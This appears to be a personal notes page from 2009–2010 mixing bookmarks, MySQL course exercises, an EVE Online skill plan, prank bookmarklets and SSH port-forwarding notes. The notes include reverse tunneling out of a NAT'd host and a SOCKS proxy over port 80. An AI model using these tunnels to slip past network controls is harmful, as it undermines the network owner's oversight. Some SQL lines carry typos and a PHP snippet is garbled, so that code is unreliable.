NameTheInfo:   EmailAndInfo:

Info:

.password.


InfoName: glennwiz
Info: First :P
Date: 16:27:46 14/07/2009

Name: Hege
Info: Love you
Date: 20:35:48 14/07/2009

InfoName: gilrim
Info: third ;)
Date: 20:43:02 14/07/2009

InfoName: asfda
Info: uhm
Date: 17:38:47 23/07/2009

InfoName: Allanda
Info: Goe sjid:)
Date: 19:57:28 25/07/2009

InfoName: Simen
Info: juhu:D:D
Date: 18:43:23 03/09/2009

InfoName: Kris
Info: google google
Date: 23:23:59 09/09/2009

Name: Domenico
Info: GO Sinofsky, GO! GO steven GO go! LOOOOOOOOOOOOOOOOL :DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Date: 17:13:07 17/09/2009

Name: link Disassemblers
Info: http://en.wikibooks.org/wiki/Reverse_Engineering/Tools
Date: 16:27:17 08/12/2009

Name: eve pirates
Info: http://www.rifterdrifter.com/2009/08/yarr-schools-the-pirate-academies-of-eve-online/
Date: 23:00:04 08/12/2009

Name: eve pvp
Info: http://www.eveonline.com/iNgameboard.asp?a=topic&threadID=1091643
Date: 13:51:11 15/12/2009

Name: 3d game math
Info: http://www.essentialmath.com/tutorial.htm
Date: 14:12:05 24/12/2009

Name: code link
Info: http://www.visualsvn.com/visualsvn/
Date: 22:56:25 05/01/2010

Name: Perl IDE
Info: http://www.activestate.com/komodo_edit/

http://linux.softpedia.com/get/Text-Editing-Processing/IDEs/EPIC-16150.shtml
Date: 22:20:36 11/01/2010

InfoName: InfoDumpTest
Info:
Date: 22:39:15 14/01/2010

Name: Win7 GodMode trix
Info: * Create a new folder anywhere (I set mine up in d:\)
* Rename the folder and paste in the following text: GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
Date: 23:40:09 14/01/2010

InfoName: install ruby
Info: http://allaboutruby.wordpress.com/2009/07/20/installing-rails-on-windows-3-years-later/
Date: 22:42:31 15/01/2010

InfoName: ruby
Info: http://www.tutorialspoint.com/ruby-on-rails-2.1/rails-send-emails.htm
Date: 23:07:05 15/01/2010

InfoName: Doxygen flow chart generator c#
Info: http://www.stack.nl/~dimitri/doxygen/index.html
Date: 00:15:14 19/01/2010

InfoName: mysql cours london
Info: >mysql -u root -ppassword -h localhost sat

CREATE TABLE intX ( col1 int(4) ZEROFILL);

insert into intX VALUES(1);

select * from intX;

insert into intX VALUES(12345);

CREATE TABLE CHARTAB( chars char(0));

insert into chartab VALUES('ABC');

select * from chartab where chars is null;

CREATE table enumtest (code ENUM('red','orange','yellow','blue','green','indigo', 'violet'));

insert into enumtest VALUES('red');

select * from enumtest;

select code + 0 from enumtest;
SELECT chars, LENGTH(chars) as len_of_string FROM chartab;

ALTER TABLE employee add newCol set ('test','newT');

insert into employee(newCol) VALUE('testX');

set session storage_engine=MyISAM;

CREATE TABLE myisamTab ( textX varchar(40));


create table customer3 as select * from customer;

SELECT GROUP_CONCAT(DISTINCT town SEPARATOR '+') FROM customer order by town DESC;

create TEMPORARY table customer as select * from customer;

show tables;

DELETE FROM customers;

ALTER table zcust ENGINE=MYISAM;

show create table zcust;

CREATE table NEWSUP AS SELECT * FROM supplier;

SHOW COLUMNS FROM mytable FROM mydb;

SHOW INDEX FROM newsup;

ALTER table zcust ENGINE=MEMORY;

CREATE INDEX cust_index ON zcust(customer_nr);

CREATE INDEX contry_index USING BTREE ON zcust(county);

SHOW INDEX FROM zcust;

SELECT d.name , SUM(e.salary) AS Total_monthly_salary
from department d JOIN employee e ON d.department_nr = e.department_nr
GROUP BY d.name;

SELECT c.surname, COUNT(o.order_nr) AS orders
FROM customer c JOIN orders o ON c.customer_nr=o.customer_nr
GROUP BY c.surname;


//having statement
SELECT c.surname, COUNT(*) AS orders
FROM customer c JOIN orders o ON c.customer_nr=o.customer_nr
GROUP BY c.surname
HAVING COUNT(*) >= 4;

//outer join
SELECT c.surname, COUNT(*) AS orders
FROM customer c LEFT JOIN orders o ON c.customer_nr=o.customer_nr
GROUP BY c.surname;

SELECT * FROM customer ORDER BY surname;

SELECT * FROM customer ORDER BY surname COLLATE latin1_bin;

ALTER TABLE employee add day_started ENUM('Mon','Tue','Wed','Thu','Fri','Sat','Sun');

UPDATE employee
SET day_started = DATE_FORMAT(start_date, '%a');

SELECT * FROM employee ORDER BY day_started;

SELECT * FROM employee ORDER BY CAST(day_started AS char);

SELECT e.surname, d.name AS orders FROM employee e JOIN department d GROUP by job;

SELECT e.surname, d.name as Departmentname
FROM employee e JOIN department d ON e.department_nr = d.department_nr;

SELECT GROUP_CONCAT(town) FROM customer ;

SELECT GROUP_CONCAT(DISTINCT town) FROM customer;

SELECT town, COUNT(*) as prospect
FROM prospect
Groupe BY town WITH ROOLUP;


SELECT DATE_FORMAT( o.order_date, '%Y') as year_orderd. o.product_code,
sum(o.qantity * p.sales_price ) as Total_sales
From product p JOIN orders o ON p.product_code=o.product_code
GROUP BY DATE_FORMAT( o.order_date, '%Y' ), product_code WITH ROLLUP;


SELECT LAST_DAY(NOW());

SELECT NOW() + interval 7 day;

SELECT surname, IFnull(county,'No County') as county from customer;

SELECT surname, salary ,
if(salary > ( SELECT AVG(salary) FROM employee) , 'Well paid' , 'badly paid' )
from employee ;

SELECT surname, department_nr,
IF(department_nr = 10, null,department_nr) as depTest
From employee;


SELECT surname, department_nr,
CASE sex
when 'F' then 'Woman'
when 'M' then 'Man'
else 'Unknown'
end AS sex
From employee;

SELECT DATEDIFF('2010.12.31',NOW());

SELECT DATE_FORMAT(NOW(), '%k:%I:%s %D %M %Y');

SET SQL_mode='';

select * from orders;

insert into orders
SET order_nr=2333, product_code='mw97', customer_nr=1317, quantity=1
ON DUPLICATE KEY update order_date = NOW(), quantity = quantity + 1;

REPLACE into orders (order_nr, product_code, customer_nr, quantity ) VALUES (23423,'asd',34234,34);



delete from employee order by start_date LIMIT 2;

SET @@AUTOCOMMIT=0

DROP TABLE IF EXISTS temp;

SET SQL_notes = 0;

show warnings;

DROP TABLE IF EXISTS temp;

SET SQL_notes = 0;

SELECT s.name, p.*
from supplier s LEFT join product p on s.supplier_nr = p.supplier_nr;

SELECT s.*
from supplier s LEFT join product p on s.supplier_nr = p.supplier_nr
where p.product_code IS NULL;

UPDATE employee
set salary = salary * 1.1
where department_nr IN ( SELECT department_nr
FROM department
WHERE LOWER(location) = 'glasgow');

UPDATE employee e, department d
set e.salary = e.salary * 1.1
where d.department_nr = e.department_nr
and d.location = 'glasgow';

DELETE c ,p
FROM customer c, prospect p
where customer_nr = 1980
and prospect_nr = 12;

DELETE customer c
FROM customer c LEFT JOIN orders o on c.customer_nr _ o.customer_nr
where order_nr is NULL;

SELECT * from department left outer join employee using(department_nr);

select * from supplier left outer join product using(supplier_nr);


select * from supplier left outer join product using(supplier_nr) where product_code is null;

select product_code, description, count(order_nr)
FROM product LEFT outer join orders
using(product_code) group by product_code, description;

update customer c, prospect p
SET c.county = 'Warwicshire', p.county = 'Warwicshire'
Where c.town = 'Burmingham' and p.town = 'Burmingham';

UPDATE product p, supplier s
set p.sales_price = p.sales_price * 1.1
where p.supplier_nr = s.supplier_nr
AND s.town = 'london';


ALTER TABLE employee add manager_name VARCHAR(30);

update employee e, employee m
SET e.manager_name = m.surname
where e.manager = m.employee_nr;

//subquery test
SELECT MIN(order_date)from orders;


//sudocode
SElect e.* dept_avg_sal
from employee e join (select deopartmen_nr dep tid, AVG(salart) as dept_avg_sal
ffrom employee
groupe by dpet_nr ) das we.dept_nr = depttid
where e.salary > dept_avg_sal;



select *
from orders
where order_date = (SELECT MIN(order_date)from orders);

SELECT product_code,description,sales_price,cost_price,instock
from product
where supplier_nr IN (SELECT supplier_nr From supplier
where town != 'london');


SELECT order_nr, customer_nr, product_code, quantity
From orders
where product_code = (SELECT product_code
FROM product
Where description = 'Graphix Draw 2.0');


SELECT product_code,description,sales_price,cost_price,instock
from product p, supplier s WHERE p.supplier_nr = s.supplier_nr AND town != 'London';

SELECT * from employee where salary >= ALL( SELECT salary from employee);


SELECT * from employee e where EXISTS (SELECT 1 FROM department d
Where e.department_nr = d.department_nr
AND location = 'Manchester');

Delete FROM orders
Where customer_nr IN
(select customer_nr
FROM customer
where surname = 'Jones');



UPDATE customer c
set c.credit_limit = c.credit_limit * 1.1
where (SELECT COUNT(*) FROM orders o
where c.customer_nr = o.customer_nr) >=3;

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
//VIEWS
CREATE OR REPLACE ALGORITHM = merge
view dept10
AS Select * from employee where department_nr = 10;

SELECT * from dept10;


CREATE VIEW deptsals
AS SELECT d.department_nr, name, SUM(salary) AS sum_salary,deptsals
AVG(salary) AS avg_salary
From department d, employee e
where d.department_nr = e.department_nr
group by d.department_nr , name;

show create view deptsals;


CREATE OR REPLACE ALGORITHM = merge
view dept10women
AS Select * from dept10 where sex = 'F' with check option;

update dept10women set sex = 'X';


update dept10women set department_nr = 20 where employee_nr = 1023;

CREATE OR REPLACE ALGORITHM = merge
view dept10women
AS Select * from dept10 where sex = 'F' with local check option;

update dept10women set department_nr = 30 where employee_nr = 1023;

show full tables;

select * INTO outfile 'c:/temp/orders.txt'
From orders;

select * INTO outfile './load/orders.txt'
From orders;

create user tempy IDENTIFIED by 'password';

GRANT select ON sat.customer to tempy;

grant FILE ON *.* to tempy;

select * into outfile 'orders.txt'
fields terminated by ','
optionally enclosed by "'"
lines terminated by '\r\n'
from orders;

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

select * INTO outfile './load/orders.txt'
From orders;

create user tempy IDENTIFIED by 'password';

GRANT select ON sat.customer to tempy;

grant FILE ON *.* to tempy;

select * into outfile 'orders.txt'
fields terminated by ','
optionally enclosed by "'"
lines terminated by '\r\n'
from orders;

LOAD data infile 'c:/labs/mysql/orders'
into table orders3 ( order_nr, product_code );




select * INTO outfile 'c:/temp/prospect.txt'
From prospect;

select * into outfile 'product.txt'
fields terminated by ','
optionally enclosed by "'"
lines terminated by '\r\n'
from product;

Delete FROM prospectprospect;

LOAD data infile 'c:/temp/prospect.txt'
into table prospectprospect;


select * INTO outfile 'c:/temp/orders2.txt'
From orders;

DELETE from ordersorders;

set @data;
LOAD data infile 'c:/temp/orders.txt'
into table orders ( @data, product_code,customer_nr,order_date,quantity );





Date: 11:32:29 28/01/2010

Name: javascripts
Info: http://www.htmlgoodies.com/beyond/javascript/index.php
Javascript turtorials

scripts
http://webdeveloper.earthweb.com/webjs/
Date: 13:19:15 31/01/2010

Name: java scripts turtorial
Info: http://www.htmlgoodies.com/primers/jsp/ java scripts turtorial
Date: 13:21:19 31/01/2010

InfoName: power tools
Info: http://www.hanselman.com/blog/ScottHanselmans2009UltimateDeveloperAndPowerUsersToolListForWindows.aspx
Date: 22:29:56 03/02/2010

Name: remote
Info: http://teamviewer.com/index.aspx
Date: 15:29:25 04/02/2010

Name: good turtorials
Info: http://www.geekpedia.com/language5_Csharp.html
Date: 22:21:51 12/02/2010

InfoName: XNA spritesheet
Info: http://www.berecursive.com/2008/c/sprite-sheets-in-xna-the-basics
Date: 11:16:13 17/02/2010

Name: git video turtorial
Info: http://excess.org/article/2008/07/ogre-git-tutorial/
Date: 16:17:33 26/02/2010

Name: Polymorphism in c#
Info: http://msdn.microsoft.com/en-us/library/ms173152.aspx
Date: 19:55:20 03/03/2010

InfoName: encrypt decrypt a string
Info: http://www.dijksterhuis.org/encrypting-decrypting-string/
Date: 23:27:43 14/03/2010

InfoName: git turtorial
Info: http://www.lostechies.com/blogs/jason_meridth/archive/2009/06/01/git-for-windows-developers-git-series-part-1.aspx
Date: 22:30:36 15/03/2010

InfoName: linked list hidden1234
Info: http://www.functionx.com/csharp1/examples/linkedlist.htm
Date: 12:10:04 17/03/2010

Name: php script
Info: http://php.about.com/od/phpwithmysql/ss/Upload_file_sql_4.htm
Date: 14:34:41 30/03/2010

Name: php tourny system
Info: http://freshmeat.net/projects/tourny/
Date: 09:51:42 15/04/2010

Name: ranks
Info: http://thumbs.dreamstime.com/thumb_383/1238805114062j79.jpg
Date: 12:01:50 15/04/2010

InfoName: cakephp
Info: http://cakephp.org/
Date: 23:35:35 15/04/2010

Name: linksys
Info: http://www.dd-wrt.com/site/index
Date: 09:59:52 21/04/2010

Name: validators
Info: http://validator.w3.org/
Date: 10:39:51 22/04/2010

InfoName: under 1k forum php
Info:

1KB Forum

Back';for(;$i<$n($t);++$i){$r=$f($t);echo'
'.nl2br($h($r[2]));}}else{$t=$q("$s t$l-i");for(;$i<$n($t);++$i){$r=$f($t);echo''.$h($r[2]).'
';}$o='Title:'.$x.'text"name="e"/>
';}echo'
Post:
'.$x.'hidden"name="v"value="'."$v\"/>$o$x";?>submit"name="w"value="Post"/>
Date: 14:09:29 27/04/2010

InfoName: test
Info: ll
Date: 14:10:23 27/04/2010

InfoName: ssh putty 2 clients
Info: http://www.systemio.net/images/ssh_putty_2_hosts.png

Date: 10:58:51 30/04/2010

Name: Markov chain
Info: http://en.wikipedia.org/wiki/Markov_chain
Date: 10:58:50 01/05/2010

Name: ubi settler 7 connection problems
Info: Some basic tests:
Can you reach these websites with your browser?
http://static3.cdn.ubi.com/orb..._launcher/latest.txt
http://72.21.207.134

For experts:
1. Install a telnet client (eg. putty)
2. Open a comand shell and execute

telnet 216.98.51.203 13000

If this times out your connection is blocked (or the servers are down)


tracert onlineconfigservice.ubi.com

tracert -h 100 onlineconfigservice.ubi.com


# List distributed by iblocklist.com

UBISOFT:62.190.6.0-62.190.6.7
UBISOFT:66.199.164.248-66.199.164.251
UBISOFT:80.231.18.0-80.231.18.255
UBISOFT:84.14.118.0-84.14.118.127
UBISOFT:193.138.66.0-193.138.66.255
UBISOFT:194.2.155.0-194.2.155.255
UBISOFT:194.169.249.0-194.169.249.255
UBISOFT:211.157.127.0-211.157.127.15
UBISOFT:213.208.241.192-213.208.241.223
UBISOFT:216.98.48.0-216.98.63.255

trace from laptop
Tracing route to lb-ws.ubisoft.com [216.98.48.18]
over a maximum of 100 hops:

1 4 ms 1 ms <1 ms 65.84-234-145.customer.lyse.net [84.234.145.65]

2 1 ms 1 ms <1 ms 185.79-160-196.customer.lyse.net [79.160.196.185
]
3 1 ms 1 ms 1 ms 249.84-234-190.customer.lyse.net [84.234.190.249
]
4 1 ms 1 ms 1 ms 138.213-167-114.customer.lyse.net [213.167.114.1
38]
5 9 ms 9 ms 9 ms oso-b2-link.telia.net [213.248.99.45]
6 18 ms 18 ms 18 ms s-bb2-link.telia.net [80.91.247.154]
7 26 ms 25 ms 18 ms s-b1-link.telia.net [80.91.254.109]
8 18 ms 18 ms 18 ms vsnl-ic-124239-s-b1.c.telia.net [213.248.104.162
]
9 41 ms 51 ms 43 ms if-6-0-0.core1.FV0-Frankfurt.as6453.net [195.219
.131.46]
10 46 ms 46 ms 46 ms if-4-0.core1.PV1-Paris.as6453.net [195.219.215.1
17]
11 127 ms 127 ms 127 ms if-5-0-0.mcore3.MTT-Montreal.as6453.net [216.6.1
14.45]
12 * * if-12-2-4.mcore3.MTT-Montreal.as6453.net [216.6.114.25]
reports: Destination net unreachable.

Trace complete.
Date: 13:25:39 01/05/2010

Name: OSQA
Info: http://wiki.osqa.net/display/docs/Ubuntu+9+with+MySQL
Date: 09:31:41 03/05/2010

InfoName: Linux USB distro
Info: http://www.addictivetips.com/windows-tips/linux-live-usb-creator-virtualization-tool/
Date: 12:02:03 10/05/2010

InfoName: new template
Info: http://www.freelayouts.com/templates/Beta?preview=true
Date: 13:07:50 10/05/2010

Name: pranks
Info: The Big Wheel:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

lord:
javascript:document.body.contentEditable='true'; document.designMode='on'; void 0


BSOD
http://technet.microsoft.com/en-us/sysinternals/bb897558.aspx





Date: 15:33:41 10/05/2010

Name: htaccess tips
Info: http://corz.org/serv/tricks/htaccess2.php
Date: 12:04:03 12/05/2010

Name: info
Info: http://ubuntuforums.org/showthread.php?t=441123
Date: 12:47:03 15/05/2010

InfoName: http://www.perl.com/pub/a/2007/12/06/soto-11.html?page=1
Info: Programming is Hard, Let's Go Scripting..
Date: 21:20:04 17/05/2010

InfoName: test
Info: sadasd
Date: 12:00:46 18/05/2010

Name: Reverse SSH Tunneling
Info: Let's assume that Destination's IP is 192.168.20.55 (Linux box that you want to access).

You want to access from Linux client with IP 138.47.99.99.

Destination (192.168.20.55) <- |NAT| <- Source (138.47.99.99)

1. SSH from the destination to the source (with public ip) using command below:

ssh -R 19999:localhost:22 sourceuser@138.47.99.99

* port 19999 can be any unused port.

2. Now you can SSH from source to destination through SSH tuneling:

ssh localhost -p 19999

3. 3rd party servers can also access 192.168.20.55 through Destination (138.47.99.99).

Destination (192.168.20.55) <- |NAT| <- Source (138.47.99.99) <- Bob's server

3.1 From Bob's server:

ssh sourceuser@138.47.99.99

3.2 After the sucessful login to Source:

ssh localhost -p 19999

* the connection between destination and source must be alive at all time.

Tip: you may run a command (e.g. watch, top) on Destination to keep the connection active.



Previous Next Up [Contents] [Index]

About This Document>>
Introduction to SSH Secure Shell >>
Configuring SSH Secure Shell >>
Basic Configuration>>
Subconfigurations >>
Configuring SSH Secure Shell for TCP Wrappers Support>>
Configuring SSH2 for SSH1 Compatibility
Forwarding>>
Port Forwarding
Dynamic Port Forwarding
X11 Forwarding
Agent Forwarding
Authentication >>
Log Messages >>
Using SSH Secure Shell >>
Tool Syntax>>
Technical Specifications >>
Port Forwarding

Port forwarding, or tunneling, is a way to forward otherwise insecure TCP traffic through SSH Secure Shell. You can secure for example POP3, SMTP and HTTP connections that would otherwise be insecure - see Figure Encrypted SSH2 tunnel.

tunnel1-1.gif
Figure : Encrypted SSH2 tunnel

The client-server applications using the tunnel will carry out their own authentication procedures, if any, the same way they would without the encrypted tunnel.

The protocol/application might only be able to connect to a fixed port number ( e.g. IMAP 143). Otherwise any available port can be chosen for port forwarding.

Privileged ports (below 1024) can be forwarded only with root privileges.

There are two kinds of port forwarding: local and remote forwarding. They are also called outgoing and incoming tunnels, respectively. Local port forwarding forwards traffic coming to a local port to a specified remote port.

For example, if you issue the command

ssh2 -L 1234:localhost:23 username@host

all traffic coming to port 1234 on the client will be forwarded to port 23 on the server (host). Note that localhost will be resolved by the sshdserver after the connection is established. In this case localhost therefore refers to the server (host) itself.

Remote port forwarding does the opposite: it forwards traffic coming to a remote port to a specified local port.

For example, if you issue the command

ssh2 -R 1234:localhost:23 username@host

all traffic which comes to port 1234 on the server (host) will be forwarded to port 23 on the client (localhost).

It is important to realize that if you have three hosts, client, sshdserver, and appserver, and you forward the traffic coming to the client's port x to the appserver's port y, only the connection between the client and sshdserver will be secured. See Figure Forwarding to a third host. The command you use would be something like the following:

ssh2 -L x:appserver:y username@sshdserver


Portfowarding

t is important to realize that if you have three hosts, client, sshdserver, and appserver, and you forward the traffic coming to the client's port x to the appserver's port y, only the connection between the client and sshdserver will be secured. See Figure Forwarding to a third host. The command you use would be something like the following:



ssh2 -L x:appserver:y username@sshdserver

ssh -L x:192.168.1.x:3389 x@x.x.x.x -p x

putty on loop/tunnels/local/x/localhost:x
then from next hop
ssh -D x -p 80 x@x
Date: 09:25:44 19/05/2010

Name: linux-tips-every-geek-should-know
Info: http://www.tuxradar.com/content/linux-tips-every-geek-should-know
Date: 21:30:11 19/05/2010

Name: wub wub
Info: 84
234
145
117
Date: 23:28:02 20/05/2010

InfoName: squid
Info: http://www.cyberciti.biz/tips/linux-setup-transparent-proxy-squid-howto.html
Date: 20:28:01 26/05/2010

Name: morfar
Info: 81.mor
166.far
47.
160
Date: 19:49:18 28/05/2010

Name: ssh localhost copyback
Info: local$ ssh -gR 8022:localhost:22 remote
remote$ scp -P 8022 file.tgz localhost:
Date: 11:28:24 07/06/2010

Name: retrive from mysql db php
Info: // Connects to your Database
mysql_connect("your.hostaddress.com", "username", "password") or die(mysql_error()) ;
mysql_select_db("Database_Name") or die(mysql_error()) ;

//Retrieves data from MySQL
$data = mysql_query("SELECT * FROM employees") or die(mysql_error());

//Puts it into an array
while($info = mysql_fetch_array( $data ))
{

//Outputs the image and other data
Echo "
";
Echo "Name: ".$info['name'] . "
";
Echo "Email: ".$info['email'] . "
";
Echo "Phone: ".$info['phone'] . "
";
}
?>
Date: 11:39:57 07/06/2010

Name: vote chart
Info: http://php.about.com/od/finishedphp1/ss/simple_poll_php.htm
Date: 11:55:03 07/06/2010

Name: apache rewrite
Info: http://snippets.dzone.com/posts/show/6206

Source: Apache 2 on Ubuntu [drupal.org]

You no longer have to do the:
LoadModule rewrite_module modules/mod_rewrite.so
AddModule mod_rewrite.c

It's now as easy as:

sudo a2enmod rewrite



To disable this module it's just:

sudo a2dismod rewrite




output:
Module rewrite installed; run /etc/init.d/apache2 force-reload to enable.

Source: How to enable mod_rewrite in Ubuntu server?? [ubuntuforums.org]


First, I changed the following line in /etc/apache2/sites-enabled/000-default

DocumentRoot /var/www/

Options FollowSymLinks
AllowOverride all


Options FollowSymLinks
AllowOverride all
Order allow,deny
allow from all




And then, I placed a .htaccess file in /var/www with the following contents

$ cat .htaccess
RewriteEngine On
RewriteRule ^/(.*) http://localhost:8080/$1 [P]
Date: 13:07:55 07/06/2010

Name: info
Info: http://www.devshed.com/c/a/PHP/PHP-and-JavaScript-Pooling-Your-Resources/3/
Date: 23:11:30 09/06/2010

InfoName: javascript to php
Info: http://www.geekpedia.com/tutorial145_PHP-and-Javascript-Dynamic-update-with-MySQL.html
Date: 23:57:24 09/06/2010

Name: wifi
Info: omnipeek, commview , airmagnet
Date: 14:46:57 22/06/2010

Name: hovertips
Info: http://www.dave-cohen.com/node/1186
Date: 15:43:39 23/06/2010

InfoName: show/hide
Info: http://www.astahost.com/info.php/hidingshowing-text-click_t9049.html
Date: 16:25:35 23/06/2010

InfoName: jcookies
Info: http://www.quirksmode.org/js/cookies.html
Date: 14:59:20 02/07/2010

Name: php pagunation
Info: http://php.about.com/od/phpwithmysql/ss/php_pagination_2.htm
Date: 14:42:28 05/08/2010

InfoName: Yet Another Build Order Tester (YABOT)
Info: http://www.sc2mapster.com/maps/yabot/
Date: 09:40:50 09/08/2010

Name: Titan Skill plan for Bengt Joran
Info: Titan Skill plan for Bengt Joran

1. Instant Recall IV (17 hours, 45 minutes, 2 seconds)
2. Eidetic Memory I (20 minutes, 12 seconds; 5 000 000 ISK)
3. Eidetic Memory II (1 hour, 29 minutes, 3 seconds)
4. Eidetic Memory III (7 hours, 57 minutes, 54 seconds)
5. Analytical Mind IV (14 hours, 17 minutes, 13 seconds)
6. Logic I (18 minutes, 8 seconds; 5 000 000 ISK)
7. Logic II (1 hour, 20 minutes, 22 seconds)
8. Logic III (7 hours, 13 minutes, 27 seconds)
9. Learning IV (13 hours, 1 minute, 1 second)
10. Eidetic Memory IV (1 day, 14 hours, 19 minutes, 41 seconds)
11. Logic IV (1 day, 13 hours, 29 minutes, 41 seconds)
12. Learning V (2 days, 19 hours, 45 minutes, 17 seconds)
13. Iron Will IV (11 hours, 45 minutes, 35 seconds)
14. Spatial Awareness IV (11 hours, 45 minutes, 35 seconds)
15. Spatial Awareness V (2 days, 18 hours, 31 minutes, 22 seconds)
16. Empathy I (4 minutes, 44 seconds; 50 000 ISK)
17. Empathy II (22 minutes, 3 seconds)
18. Empathy III (2 hours, 4 minutes, 42 seconds)
19. Empathy IV (11 hours, 45 minutes, 35 seconds)
20. Focus I (19 minutes, 28 seconds; 5 000 000 ISK)
21. Focus II (1 hour, 25 minutes, 49 seconds)
22. Clarity I (17 minutes, 2 seconds; 5 000 000 ISK)
23. Clarity II (1 hour, 15 minutes, 36 seconds)
24. Clarity III (6 hours, 48 minutes, 12 seconds)
25. Clarity IV (1 day, 12 hours, 48 minutes, 47 seconds)
26. Presence I (34 minutes, 57 seconds; 5 000 000 ISK)
27. Presence II (2 hours, 34 minutes, 54 seconds)
28. Focus III (14 hours, 36 minutes, 8 seconds)
29. Focus IV (3 days, 6 hours, 45 minutes, 47 seconds)
30. Spaceship Command V (5 days, 7 hours, 43 minutes, 27 seconds)
31. Advanced Spaceship Command I (45 minutes, 27 seconds; 50 000 000 ISK)
32. Advanced Spaceship Command II (3 hours, 31 minutes, 42 seconds)
33. Advanced Spaceship Command III (19 hours, 57 minutes, 22 seconds)
34. Advanced Spaceship Command IV (4 days, 16 hours, 53 minutes, 38 seconds)
35. Advanced Spaceship Command V (26 days, 14 hours, 37 minutes, 16 seconds)
36. Capital Ships I (2 hours, 7 minutes, 16 seconds; 400 000 000 ISK)
37. Capital Ships II (9 hours, 52 minutes, 43 seconds)
38. Capital Ships III (2 days, 7 hours, 52 minutes, 43 seconds)
39. Capital Ships IV (13 days, 4 hours, 6 minutes, 6 seconds)
40. Capital Ships V (74 days, 12 hours, 8 minutes, 26 seconds)
41. Amarr Cruiser IV (4 days, 16 hours, 53 minutes, 38 seconds)
42. Amarr Battleship I (1 hour, 12 minutes, 43 seconds; 4 000 000 ISK)
43. Amarr Battleship II (5 hours, 38 minutes, 41 seconds)
44. Amarr Battleship III (1 day, 7 hours, 55 minutes, 51 seconds)
45. Amarr Battleship IV (7 days, 12 hours, 37 minutes, 46 seconds)
46. Amarr Battleship V (42 days, 13 hours, 47 minutes, 40 seconds)
47. Leadership I (10 minutes, 49 seconds; 20 000 ISK)
48. Leadership II (50 minutes, 25 seconds)
49. Leadership III (4 hours, 45 minutes, 3 seconds)
50. Leadership IV (1 day, 2 hours, 52 minutes, 46 seconds)
51. Leadership V (6 days, 8 hours, 3 minutes, 9 seconds)
52. Amarr Titan I (2 hours, 25 minutes, 27 seconds; 5 500 000 000 ISK)
53. Navigation IV (23 hours, 2 minutes, 22 seconds)
54. Navigation V (5 days, 10 hours, 19 minutes, 51 seconds)
55. Warp Drive Operation III (4 hours, 4 minutes, 20 seconds)
56. Warp Drive Operation IV (23 hours, 2 minutes, 22 seconds)
57. Warp Drive Operation V (5 days, 10 hours, 19 minutes, 51 seconds)
58. Science V (5 days, 13 hours, 2 minutes, 45 seconds)
59. Jump Drive Operation I (46 minutes, 22 seconds; 10 000 000 ISK)
60. Gunnery IV (22 hours, 34 minutes, 43 seconds)
61. Gunnery V (5 days, 7 hours, 43 minutes, 27 seconds)
62. Medium Energy Turret II (2 hours, 7 minutes, 1 second)
63. Medium Energy Turret III (11 hours, 58 minutes, 26 seconds)
64. Large Energy Turret I (45 minutes, 27 seconds; 2 000 000 ISK)
65. Large Energy Turret II (3 hours, 31 minutes, 42 seconds)
66. Large Energy Turret III (19 hours, 57 minutes, 22 seconds)
67. Large Energy Turret IV (4 days, 16 hours, 53 minutes, 38 seconds)
68. Large Energy Turret V (26 days, 14 hours, 37 minutes, 16 seconds)
69. Capital Energy Turret I (1 hour, 3 minutes, 38 seconds; 15 000 000 ISK)
70. Energy Pulse Weapons II (1 hour, 28 minutes, 13 seconds)
71. Energy Pulse Weapons III (8 hours, 18 minutes, 54 seconds)
72. Energy Pulse Weapons IV (1 day, 23 hours, 2 minutes, 20 seconds)
73. Energy Pulse Weapons V (11 days, 2 hours, 5 minutes, 31 seconds)
74. Weapon Upgrades II (1 hour, 24 minutes, 41 seconds)
75. Weapon Upgrades III (7 hours, 58 minutes, 56 seconds)
76. Weapon Upgrades IV (1 day, 21 hours, 9 minutes, 27 seconds)
77. Weapon Upgrades V (10 days, 15 hours, 26 minutes, 54 seconds)
78. Advanced Weapon Upgrades I (54 minutes, 32 seconds; 500 000 ISK)
79. Advanced Weapon Upgrades II (4 hours, 14 minutes, 2 seconds)
80. Advanced Weapon Upgrades III (23 hours, 56 minutes, 52 seconds)
81. Advanced Weapon Upgrades IV (5 days, 15 hours, 28 minutes, 21 seconds)
82. Advanced Weapon Upgrades V (31 days, 22 hours, 20 minutes, 43 seconds)
83. Doomsday Operation I (2 hours, 12 minutes, 34 seconds; 250 000 000 ISK)
84. Propulsion Jamming I (28 minutes, 24 seconds; 150 000 ISK)
85. Trajectory Analysis I (45 minutes, 27 seconds; 100 000 ISK)
86. Long Range Targeting I (18 minutes, 56 seconds; 88 000 ISK)
87. Hull Upgrades IV (1 day, 23 hours, 2 minutes, 20 seconds)
88. Jury Rigging I (18 minutes, 56 seconds; 60 000 ISK)
89. Jury Rigging II (1 hour, 28 minutes, 13 seconds)
90. Jury Rigging III (8 hours, 18 minutes, 54 seconds)
91. Energy Weapon Rigging I (28 minutes, 24 seconds; 100 000 ISK)
92. Drones V (5 days, 10 hours, 19 minutes, 51 seconds)
93. Heavy Drone Operation I (46 minutes, 22 seconds; 380 000 ISK)
94. Heavy Drone Operation II (3 hours, 36 minutes, 1 second)
95. Heavy Drone Operation III (20 hours, 21 minutes, 49 seconds)
96. Heavy Drone Operation IV (4 days, 19 hours, 11 minutes, 52 seconds)
97. Heavy Drone Operation V (27 days, 3 hours, 39 minutes, 15 seconds)
98. Gallente Drone Specialization I (46 minutes, 22 seconds; 9 000 000 ISK)
99. Gallente Drone Specialization II (3 hours, 36 minutes, 1 second)
100. Gallente Drone Specialization III (20 hours, 21 minutes, 49 seconds)
101. Gallente Drone Specialization IV (4 days, 19 hours, 11 minutes, 52 seconds)
102. Scout Drone Operation IV (23 hours, 2 minutes, 22 seconds)
